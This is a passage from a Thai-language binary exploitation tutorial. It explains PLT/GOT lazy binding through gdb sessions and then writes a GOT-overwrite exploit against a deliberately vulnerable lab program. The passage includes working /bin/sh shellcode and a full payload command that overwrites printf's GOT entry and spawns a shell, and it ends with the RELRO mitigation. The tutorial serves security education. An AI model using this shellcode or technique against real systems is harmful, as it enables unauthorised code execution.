และเมื่อเราลองรันโปรแกรม แล้วตามไปดูใน strncpy@plt

(gdb) b *0x08048426
Breakpoint 1 at 0x8048426
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1 a b

Breakpoint 1, 0x08048426 in main ()
(gdb) si
0x08048310 in strncpy@plt ()
(gdb) disass
Dump of assembler code for function strncpy@plt:
=> 0x08048310 <+0>:     jmp    *0x8049660
   0x08048316 <+6>:     push   $0x8
   0x0804831b <+11>:    jmp    0x80482f0
End of assembler dump.
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048316

จะเห็นว่าใน strncpy@plt จะทำการ jump ไปที่ address ที่เก็บไว้ใน 0x8049660 และเมื่อลองดูค่าที่ address 0x8049660 จะเห็นว่า gdb บอกว่า address นี้เป็นส่วนของ GOT โดยค่าของมันคือ address ของคำสั่ง push $0x8 ที่ค่าของ GOT+16 นั่นเป็น address นี้เพราะว่าโปรแกรมยังไม่ได้ทำการ resolve หา address ของ strncpy function ใน libc ซึ่งจะทำการ jump ไปใน code ที่ทำการ resolve address ของ strncpy function

และเมื่อดูใน printf@plt

(gdb) x/3i 0x8048330
   0x8048330 <printf@plt>:      jmp    *0x8049668
   0x8048336 <printf@plt+6>:    push   $0x18
   0x804833b <printf@plt+11>:   jmp    0x80482f0
(gdb) x/x 0x8049668
0x8049668 <_GLOBAL_OFFSET_TABLE_+24>:   0x08048336

จะเห็นว่า printf@plt นั่นจะเหมือน strncpy@plt โดยจะต่างกันที่ address และค่าที่ push โดยค่าที่ push จะเป็นค่าที่ใช้บอกว่าจะให้โปรแกรม resovle address ของ function อะไร

และเมื่อเราปล่อยให้โปรแกรม resolve address ของ strncpy โดยเราจะ set breakpoint ที่ strncpy ใน libc และดูค่าใน GOT+16 อีกครั้งหนึ่ง

(gdb) b strncpy
Breakpoint 2 at 0x1b2a35
(gdb) c
Continuing.

Breakpoint 2, 0x001b2a35 in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x001b2a30
(gdb) x/5i 0x001b2a30
   0x1b2a30 <strncpy>:  push   %ebp
   0x1b2a31 <strncpy+1>:        mov    %esp,%ebp
   0x1b2a33 <strncpy+3>:        push   %edi
   0x1b2a34 <strncpy+4>:        push   %esi
=> 0x1b2a35 <strncpy+5>:        sub    $0x4,%esp

จะเห็นว่าโปรแกรม ได้ทำการแก้ไขค่าของ GOT+16 ซึ่งเป็น entry สำหรับ strncpy เป็น address ของ strncpy ใน libc ทำให้การเรียกครั้งต่อไป โปรแกรมจะทำการ jump มาที่ address ของ strncpy (0x001b2a30) ตรงๆ

ถ้าใครยังไม่ค่อยเข้าใจ ลองดูรูปขั้นตอนการ resolve address ของ function และเขียนค่าใน GOT (หวังว่าจะทำให้เข้าใจ)

จากที่กล่าวมาทั้งหมด จะเห็นว่า GOT จะต้องเป็นส่วนที่ read/write เนื่องด้วยโปรแกรมต้องมีการแก้ไขข้อมูลของ GOT และ GOT เป็นที่เก็บข้อมูล address ของ function ต่างๆ ใน library ที่เราจะเรียกใช้ ดังนั้นถ้าเราสามารถเขียนทับค่าใน GOT ได้ และเมื่อโปรแกรมเรียกใช้ function ที่เราแก้ไข address ใน GOT เราจะสามารถควบคุม eip ได้

หลังจากทำความเข้าใจกับ GOT มาพอสมควร เรามาเขียน exploit กัน โดยจากโปรแกรมที่ให้ ปัญหาคือ strncpy แรกจะ copy ข้อมูลไปทับ ptr ทำให้เรากำหนดค่า ptr ได้ และเมื่อรวมกับ strncpy ที่สอง ทำให้เราสามารถเขียนข้อมูลทับที่ไหนก็ได้ 4 bytes โดยในหัวข้อนี้ ผมจะแสดงวิธีการเขียนทับ address ใน GOT

จากโปรแกรมที่ให้ เราสามารถเขียนข้อมูลใน GOT ที่ strncpy ที่สอง และหลังจากนั้นจะมีการเรียก printf function ดังนั้นเป้าหมายที่ผมจะเขียนทับคือ GOT entry ที่เก็บ address ของ printf ไว้ โดยวิธีการหา address ของ GOT entry ต่างๆ สามารถใช้คำสั่ง objdump ดังนี้

$ objdump -R ./ex_09_1

./ex_09_1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804964c R_386_GLOB_DAT    __gmon_start__
0804965c R_386_JUMP_SLOT   __gmon_start__
08049660 R_386_JUMP_SLOT   strncpy
08049664 R_386_JUMP_SLOT   __libc_start_main
08049668 R_386_JUMP_SLOT   printf

ดังนั้น address ที่เราจะเขียน address ของ shellcode ของเราคือ 0x08049668 หลังจากนั้นสิ่งที่เราต้องการคือ address ของ shellcode

$ ulimit -c unlimited
$ ./ex_09_1 `perl -e 'print "A"x516'` `perl -e 'print "B"x4'`
ptr address: 0x41414141
Segmentation fault (core dumped)
$ gdb ./ex_09_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2a5c in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/12x $esp
0xbffff2fc:     0x41414141      0x00000000      0x00000000      0xbffff538
0xbffff30c:     0x08048466      0x41414141      0xbffff912      0x00000004
0xbffff31c:     0xbffff364      0xbffff370      0x00000070      0x0012c524
(gdb)
0xbffff32c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff33c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff34c:     0x41414141      0x41414141      0x41414141      0x41414141

ได้ address ของ shellcode จะอยู่ที่ 0xbffff32c ดังนั้น exploit ของโปรแกรมนี้ จะเป็น

$ ./ex_09_1 `perl -e 'print "\x90"x491 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\x68\x96\x04\x08"'` `perl -e 'print "\x2c\xf3\xff\xbf"'`
ptr address: 0x8049668
$ ps -f f
UID        PID  PPID  C STIME TTY      STAT   TIME CMD
worawit   1581  1580  0 20:08 pts/0    Ss     0:00 -bash
worawit   1718  1581  0 20:11 pts/0    S      0:00  \_ [sh]
worawit   1720  1718  0 20:11 pts/0    R+     0:00      \_ ps -f f

เทคนิคนี้ ปัจจุบันได้มี option ที่ใช้ป้องกัน คือให้โปรแกรมทำการ resovle address ทั้งหมดตั้งแต่โปรแกรมเริ่ม และ remapped GOT ให้เป็น read-only โดยใช้ gcc option "-z relro -z now" ดังต่อไปนี้

$ gcc -fno-pie -fno-stack-protector -z relro -z now -z execstack -o ex_09_1_2 ex_09_1.c
$ objdump -R ./ex_09_1_2

./ex_09_1_2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
08049fec R_386_JUMP_SLOT   __gmon_start__
08049ff0 R_386_JUMP_SLOT   strncpy
08049ff4 R_386_JUMP_SLOT   __libc_start_main
08049ff8 R_386_JUMP_SLOT   printf
$ gdb ./ex_09_1_2
...
(gdb) b main
Breakpoint 1 at 0x8048417
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1_2

Breakpoint 1, 0x08048417 in main ()
(gdb) info proc
process 1297
cmdline = '/home/worawit/tutz/ch09/ex_09_1_2'
cwd = '/home/worawit/tutz/ch09'
exe = '/home/worawit/tutz/ch09/ex_09_1_2'
(gdb) shell grep ex_09 /proc/1297/maps
08048000-08049000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2
08049000-0804a000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2  # จะเห็นว่า GOT อยู่ใน section นี้
0804a000-0804b000 rwxp 00001000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2

Reference:
- http://www.iecc.com/linker/linker10.html
- http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html